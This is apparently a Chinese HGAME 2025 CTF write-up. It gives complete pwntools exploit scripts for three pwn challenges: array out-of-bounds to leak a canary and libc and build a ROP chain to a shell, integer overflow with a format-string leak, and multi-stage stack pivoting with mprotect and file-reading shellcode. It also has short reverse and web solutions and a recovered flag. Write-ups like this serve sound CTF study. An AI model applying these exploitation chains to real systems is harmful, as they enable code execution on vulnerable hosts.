WriteUp Pwn counting petals 数组越界
程序保护全开
main 函数
运行程序,每次循环中输入的内容都会在后面打印出来。
经过调试,在第 16 次输入的时候,输入的位置是 rbp-0x10,我们知道 v8 是 rbp-0x10、 v9 是 rbp-0xc,这两个变量都是四字节,那么在 rbp-0x10 位置的前四字节是 v9,后四字节是 v8, 因此第 16 次输入可以同时覆盖 v8 跟 v9;然后我们以此类推,canary 是 17,rbp 是 18,rbp+8 是 19。
如果我们只增加后四字节的数值,即0x1000000011,这样就将 v8 覆盖成 0x11,而此时 v9 是 0x10,那么 v9 小于 v8 就会增加一次输入,在后面比较 v5 和 v8 进入循环就会打印第 17 次的内容。如果我们同时修改前后四字节,例如0x1100000011,这样就将 v9 和 v8 都覆盖成了 0x11,那么 v9 等于 v8 就不会有输入。
现在我们尝试将 v8 和 v9 覆盖成 17,那么在后面打印的时候就会将 canary 打印出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def debug () : attach (p, 'b *$rebase(0x140F)' ) pause () # debug() p.recvuntil ("How many flowers have you prepared this time?" ) p.sendline (str(16 )) for i in range (15 ) : p.recvuntil ("the flower number {} : " .format(i+1 )) p.sendline (str(1 )) p.recvuntil (" : " ) p.sendline (str(u64(p64(0x1100000011 )))) p.recvuntil ("Reply 1 indicates the former and 2 indicates the latter: " ) p.sendline (str(1 ))
可以看到,rbp-0x10 的位置被覆盖成了0x1100000011;在打印的数值中,我们可以看到十进制的 canary 数值,将其转换 16 进制,确实是 canary
通过将 v8 和 v9 的值覆盖成 17 可以泄露出 canary,那么我们还需要泄露出 libc 地址,而我们知道在 19 的位置有一个 libc 地址,即__libc_start_call_main+128,那么我们将 v8 覆盖成 19 ,v9 的值只需要大于等于 v8,就可以泄露出 canary 和 libc 地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def debug () : attach (p, 'b *$rebase(0x140F)' ) pause () debug () p.recvuntil ("How many flowers have you prepared this time?" ) p.sendline (str(16 )) for i in range (15 ) : p.recvuntil ("the flower number {} : " .format(i+1 )) p.sendline (str(1 )) p.recvuntil (" : " ) p.sendline (str(u64(p64(0x1300000013 )))) p.recvuntil ("Reply 1 indicates the former and 2 indicates the latter: " ) p.sendline (str(1 )) p.recvuntil ("Let's look at the results." ) data_list = p.recvuntil('=' ) data_list = data_list.split(b' + ' ) canary = abs (int (data_list[16 ])) success('canary:{}' .format(hex(canary))) libc_base = int (data_list[18 ]) - 0x29d90 success('libc_base:{}' .format(hex(libc_base)))
之后程序再次循环,此时我们将 v8 的值再修改成一个合适的值,然后逐个写入 gadget 即可构造 rop 链进行gets hell。这里我将 v8 修改成 22,然后从 canary 开始填充。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 p.recvuntil("How many flowers have you prepared this time?" ) p.sendline(str(16 ))for i in range (15 ) : p.recvuntil ("the flower number {} : " .format(i+1 )) p.sendline (str(1 )) p.recvuntil (" : " ) p.sendline (str(u64(p64(0x1000000016 )))) #17-->canary 18-->rbp 19-->rdi 20-->binsh 21-->ret 22-->system payload = [ str(u64(p64(canary))), # 17 str(111 ), # 18 str(u64(p64(pop_rdi))), # 19 str(u64(p64(binsh))), # 20 str(u64(p64(ret))), # 21 str(u64(p64(system))) # 22 ]for data in payload: p.recvuntil(" : " ) p.sendline(data) p.recvuntil("Reply 1 indicates the former and 2 indicates the latter: " ) p.sendline(str(1 ))
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) p = process('./pwn' ) libc = ELF('./libc.so.6' )def debug (): attach(p, 'b *$rebase(0x140F)' ) pause() p.recvuntil("How many flowers have you prepared this time?" ) p.sendline(str (16 ))for i in range (15 ): p.recvuntil("the flower number {} : " .format (i+1 )) p.sendline(str (1 )) p.recvuntil(" : " ) p.sendline(str (u64(p64(0x1300000013 )))) p.recvuntil("Reply 1 indicates the former and 2 indicates the latter: " ) p.sendline(str (1 )) p.recvuntil("Let's look at the results." ) data_list = p.recvuntil('=' ) data_list = data_list.split(b' + ' ) canary = abs (int (data_list[16 ])) success('canary:{}' .format (hex (canary))) libc_base = int (data_list[18 ]) - 0x29d90 success('libc_base:{}' .format (hex (libc_base))) system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search(b'/bin/sh\x00' )) pop_rdi = libc_base + 0x2a3e5 ret = libc_base + 0x29139 p.recvuntil("How many flowers have you prepared this time?" ) p.sendline(str (16 ))for i in range (15 ): p.recvuntil("the flower number {} : " .format (i+1 )) p.sendline(str (1 )) p.recvuntil(" : " ) p.sendline(str (u64(p64(0x100000016 )))) payload = [ str (u64(p64(canary))), str (111 ), str (u64(p64(pop_rdi))), str (u64(p64(binsh))), str (u64(p64(ret))), str (u64(p64(system))) ]for data in payload: p.recvuntil(" : " ) p.sendline(data) p.recvuntil("Reply 1 indicates the former and 2 indicates the latter: " ) p.sendline(str (1 )) p.interactive()
main 函数存在格式化字符串漏洞,次数可以自定义,但是字符数限制在 3 字符以内;之后调用了 vuln 函数,vuln 函数中 size 是自定义,但是 size 在小于等于 5 时才可以调用 vuln 函数,vuln 函数的 buf 大小是 4;我们还可以发现 vuln 函数中 size 是 unsigned int 类型,因此可以造成整数溢出。
经过反复模糊测试,发现只能输入%p 时来泄露出栈地址(这里预期是直接泄露出地址,但是我不会
/(ㄒoㄒ)/~~),同时 size 输入正整数之后还要输入一个字符。
那么我们先使用一次格式化字符串漏洞来泄露出栈地址
1 2 3 4 5 6 7 p.recvuntil("you have n chance to getshell\n n = " ) p.sendline(str (1 )) p.recvuntil("type something:" ) p.sendline(b'%p' ) p.recvuntil('you type: ' ) stack = int (p.recv(14 ), 16 ) success('stack:{}' .format (hex (stack)))
接下来我们输入-1 来进行栈溢出,输入-1 之后还需要输入一个字符。此时我们有足够的空间来构造 payload,但是我们发现并没有 rdi 的 gadget,因此常规的泄露 libc 方法行不通了。
通过仔细查看汇编代码,我们发现有如下部分,这部分就是格式化字符串漏洞 printf(format);可以看到 lea rax, [rbp-0x10]
这条汇编语句,意思是在 rbp-0x10 的位置取出数值赋值给 rax,那么我们可以在栈溢出之后返回到这个位置,同时构造出适当的 rbp 并且让 printf 的参数为%n$p 形式,这样在返回到 printf 处就会泄露出 libc
gdb 调试,可以看到在返回地址的下方,即 rbp+0x10 的位置,我们可以放参数%9$p;我们要将这个位置在返回之后变成 rbp-0x10,那么返回后的 rbp 就必须是当前 rbp+0x20 位置的地址,我们可以计算出泄露出的栈地址到这个地址的距离,计算出距离是 0x2130
我们将 rbp 修改,ret 覆盖为汇编lea rax, [rbp-0x10]
的地址,然后在栈上写入%9$p
1 2 3 4 5 6 p.recvuntil("you have n space to getshell(n<5)\n n = " ) payload = b'-1\n\x00' p.send(payload) p.recvuntil("type something:" ) payload = b'\x00' *4 + p64(stack+0x2130 ) + p64(0x4012CF ) + b'%9$p' .ljust(8 , b'\x00' ) p.sendline(payload)
可以看到,此时返回的 rbp 已经变成了当前 rbp+0x20 的地址(这里可能会失败,需要多试几次)
当返回到lea rax, [rbp-0x10]
时,rbp-0x10位置是%9$p,那么经过取值再赋值之后 printf 的参数就是%9$p,这样就可以泄露出 libc 地址
此时我们还需要注意的是,由于我们使用的是 sendline 发送,rbp-8 位置的末尾被覆盖成了 a,而 rbp-8 的位置就是第一个循环次数 n ,因此 n 就覆盖成了 10。这个值也可以改成其他的数值,比如我们可以用 b'\x03'
将 n 改成 3,这样就可以只循环 2 两次
泄露出 libc 地址之后,我们再次输入-1,就可以进行栈溢出构造 rop 来 getshell 了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) p = process('./pwn' ) libc = ELF('./libc.so.6' )def debug (): attach(p, 'b *0x4011E8' ) pause() p.recvuntil("you have n chance to getshell\n n = " ) p.sendline(str (1 )) p.recvuntil("type something:" ) p.sendline(b'%p' ) p.recvuntil('you type: ' ) stack = int (p.recv(14 ), 16 ) success('stack:{}' .format (hex (stack))) p.recvuntil("you have n space to getshell(n<5)\n n = " ) payload = b'-1\n\x00' p.send(payload) p.recvuntil("type something:" ) payload = b'a' *4 + p64(stack+0x2130 ) + p64(0x4012CF ) + b'%9$p' .ljust(8 , b'\x00' ) + b'\x03' p.send(payload) libc_base = int (p.recv(14 ), 16 ) - 0x29d90 success('libc_base:{}' .format (hex (libc_base))) system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search(b'/bin/sh\x00' )) pop_rdi = libc_base + 0x2a3e5 ret = 0x40101a p.recvuntil("type something:" ) p.sendline(b'aa' ) p.recvuntil("you have n space to getshell(n<5)\n n = " ) payload = b'-1\n\x00' p.send(payload) p.recvuntil("type something:" ) payload = b'\x00' *4 + b'\x00' *8 + p64(pop_rdi) + p64(binsh) payload += p64(ret) + p64(system) p.sendline(payload) p.interactive()
ezstack 没做出来,复现一下
调试方法
启动 docker
1 docker run -d -p 10003:9999 hgame:ezstack
开两个进程,remote 的端口填 9999(程序监听的是 9999)
1 2 3 4 5 6 7 def debug (): attach(io, 'b *0x40140F' ) pause() io = process('./pwn' ) debug() p = remote('127.0.0.1' , 9999 )
vuln 函数,有 0x10 字节的溢出
第一次栈迁移到 bss 段,第二次栈迁移泄露出 write 函数;第三次栈迁移构造一个大的 read,第四次栈迁移调用 mprotect 函数,并写入 orw 的 shellcode 打开 flag
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) elf = ELF('./pwn' ) p = remote('node1.hgame.vidar.club' , 30749 ) libc = ELF('./libc6_2.31-0ubuntu9.16_amd64.so' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] read_plt = elf.plt['read' ] read = 0x4013D9 bss = 0x404130 +0x300 pop_rdi = 0x401713 pop_rsi = 0x401711 pop_rbp = 0x40135d leave_ret = 0x4013cb def debug (): pause() p.recvuntil("Good luck." ) payload = b'a' *0x50 + p64(bss+0x50 ) + p64(read) p.send(payload) p.recvuntil("Good luck." ) payload = p64(pop_rsi) + p64(write_got)*2 + p64(write_plt) payload += p64(pop_rbp) + p64(bss+0x200 ) + p64(read) payload = payload.ljust(0x50 , b'a' ) payload += p64(bss-0x8 ) + p64(leave_ret) p.send(payload) p.recvuntil(b'\n' ) write = u64(p.recv(6 ).ljust(8 , b'\x00' )) success('write:{}' .format (hex (write))) libc_base = write - libc.sym['write' ] success('libc_base:{}' .format (hex (libc_base))) pop_rsi = libc_base + 0x2601f pop_rdx = libc_base + 0x119431 mprotect = libc_base + libc.sym['mprotect' ] read1 = libc_base + libc.sym['read' ] p.recvuntil("Good luck." ) payload = p64(pop_rsi) + p64(bss+0x300 ) + p64(pop_rdx) + p64(0x200 )*2 payload += p64(read_plt) + p64(pop_rbp) + p64(bss+0x300 -0x8 ) + p64(leave_ret) payload = payload.ljust(0x50 , b'\x00' ) + p64(bss+0x1b0 -0x8 ) + p64(leave_ret) p.send(payload) shellcode = asm(''' mov rax, 0x67616c662f push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 2 syscall mov rdi, rax mov rsi, rsp mov rdx, 0x40 xor rax, rax syscall mov rdi, 4 mov rsi, rsp mov rdx, 0x40 mov rax, 1 syscall ''' ) payload = p64(pop_rdi) + p64(0x404000 ) + p64(pop_rsi) + p64(0x2000 ) payload += p64(pop_rdx) + p64(7 )*2 + p64(mprotect) payload += p64(pop_rbp) + p64(bss+0x200 ) + p64(0x40140F ) payload += shellcode p.send(payload) sleep(0.2 ) p.send(p64(0x404788 )) p.interactive()
参考
[原创]HGAME 2025—PWN-Pwn-看雪-安全社区|安全招聘|kanxue.com
Reverse Compress dot new ida 查看
enc.txt 内容
1 2 {"a":{"a":{"a":{"a":{"a":{"s":125},"b":{"a":{"s":119},"b":{"s":123}}},"b":{"a":{"s":104},"b":{"s":105}}},"b":{"a":{"s":101},"b":{"s":103}}},"b":{"a":{"a":{"a":{"s":10},"b":{"s":13}},"b":{"s":32}},"b":{"a":{"s":115},"b":{"s":116}}}},"b":{"a":{"a":{"a":{"a":{"a":{"s":46},"b":{"s":48}},"b":{"a":{"a":{"s":76},"b":{"s":78}},"b":{"a":{"s":83},"b":{"a":{"s":68},"b":{"s":69}}}}},"b":{"a":{"a":{"s":44},"b":{"a":{"s":33},"b":{"s":38}}},"b":{"s":45}}},"b":{"a":{"a":{"s":100},"b":{"a":{"s":98},"b":{"s":99}}},"b":{"a":{"a":{"s":49},"b":{"s":51}},"b":{"s":97}}}},"b":{"a":{"a":{"a":{"s":117},"b":{"s":118}},"b":{"a":{"a":{"s":112},"b":{"s":113}},"b":{"s":114}}},"b":{"a":{"a":{"s":108},"b":{"s":109}},"b":{"a":{"s":110},"b":{"s":111}}}}}} 00010001110111111010010000011100010111000100111000110000100010111001110010011011010101111011101100110100011101101001110111110111011011001110110011110011110110111011101101011001111011001111000111001101111000011001100001011011101100011100101001110010111001111000011000101001010000000100101000100010011111110110010111010101000111101000110110001110101011010011111111001111111011010101100001101110101101111110100100111100100010110101111111111100110001010101101110010011111000110110101101111010000011110100000110110101011000111111000110101001011100000110111100000010010100010001011100011100111001011101011111000101010110101111000001100111100011100101110101111100010110101110000010100000010110001111011100011101111110101010010011101011100100011110010010110111101110111010111110110001111010101110010001011100100101110001011010100001110101000101111010100110001110101011101100011011011000011010000001011000111011111111100010101011100000
直接丢给deepseek
由于代码逻辑较为复杂,手动还原 flag
可能会比较困难。以下是一个大致的思路:
解析 JSON :将 enc.txt
中的 JSON 结构解析为 Python 字典。
构建 Huffman 树 :根据字典中的 s
和 w
键值对,构建 Huffman 树。
生成解码表 :遍历 Huffman 树,生成每个字符对应的二进制编码。
解码二进制字符串 :根据生成的解码表,将二进制字符串解码为原始字符。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 import jsonfrom collections import defaultdict, deque data = { "a" : { "a" : { "a" : { "a" : { "a" : {"s" : 125 }, "b" : {"a" : {"s" : 119 }, "b" : {"s" : 123 }} }, "b" : {"a" : {"s" : 104 }, "b" : {"s" : 105 }} }, "b" : {"a" : {"s" : 101 }, "b" : {"s" : 103 }} }, "b" : { "a" : { "a" : {"a" : {"s" : 10 }, "b" : {"s" : 13 }}, "b" : {"s" : 32 } }, "b" : {"a" : {"s" : 115 }, "b" : {"s" : 116 }} } }, "b" : { "a" : { "a" : { "a" : { "a" : {"a" : {"s" : 46 }, "b" : {"s" : 48 }}, "b" : { "a" : {"a" : {"s" : 76 }, "b" : {"s" : 78 }}, "b" : {"a" : {"s" : 83 }, "b" : {"a" : {"s" : 68 }, "b" : {"s" : 69 }}} } }, "b" : { "a" : {"a" : {"s" : 44 }, "b" : {"a" : {"s" : 33 }, "b" : {"s" : 38 }}}, "b" : {"s" : 45 } } }, "b" : { "a" : {"a" : {"s" : 100 }, "b" : {"a" : {"s" : 98 }, "b" : {"s" : 99 }}}, "b" : {"a" : {"a" : {"s" : 49 }, "b" : {"s" : 51 }}, "b" : {"s" : 97 }} } }, "b" : { "a" : { "a" : {"a" : {"s" : 117 }, "b" : {"s" : 118 }}, "b" : {"a" : {"a" : {"s" : 112 }, "b" : {"s" : 113 }}, "b" : {"s" : 114 }} }, "b" : { "a" : {"a" : {"s" : 108 }, "b" : {"s" : 109 }}, "b" : {"a" : {"s" : 110 }, "b" : {"s" : 111 }} } } } }def build_huffman_tree (data ): if 's' in data: return {'s' : data['s' ], 'w' : data.get('w' , 0 )} else : return { 'a' : build_huffman_tree(data['a' ]), 'b' : build_huffman_tree(data['b' ]), 'w' : data.get('w' , 0 ) } huffman_tree = build_huffman_tree(data)def generate_decode_table (tree, path="" , decode_table={} ): if 's' in tree: decode_table[tree['s' ]] = path else : generate_decode_table(tree['a' ], path + "0" , decode_table) generate_decode_table(tree['b' ], path + "1" , decode_table) return decode_table decode_table = generate_decode_table(huffman_tree)for char, code in decode_table.items(): print (f"Character: {chr (char)} , Code: {code} " ) binary_string = "00010001110111111010010000011100010111000100111000110000100010111001110010011011010101111011101100110100011101101001110111110111011011001110110011110011110110111011101101011001111011001111000111001101111000011001100001011011101100011100101001110010111001111000011000101001010000000100101000100010011111110110010111010101000111101000110110001110101011010011111111001111111011010101100001101110101101111110100100111100100010110101111111111100110001010101101110010011111000110110101101111010000011110100000110110101011000111111000110101001011100000110111100000010010100010001011100011100111001011101011111000101010110101111000001100111100011100101110101111100010110101110000010100000010110001111011100011101111110101010010011101011100100011110010010110111101110111010111110110001111010101110010001011100100101110001011010100001110101000101111010100110001110101011101100011011011000011010000001011000111011111111100010101011100000" reverse_decode_table = {v: k for k, v in decode_table.items()} current_code = "" decoded_text = "" for bit in binary_string: current_code += bit if current_code in reverse_decode_table: decoded_text += chr (reverse_decode_table[current_code]) current_code = "" print ("Decoded Text:" , decoded_text)
hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}
Web Level 24 Pacman 查看源代码,在 index.js 中发现有分数变量
直接在控制台中将分数修改为 10000,到到 base64 密码
然后进行 base64 解码和 2 栏栅栏解码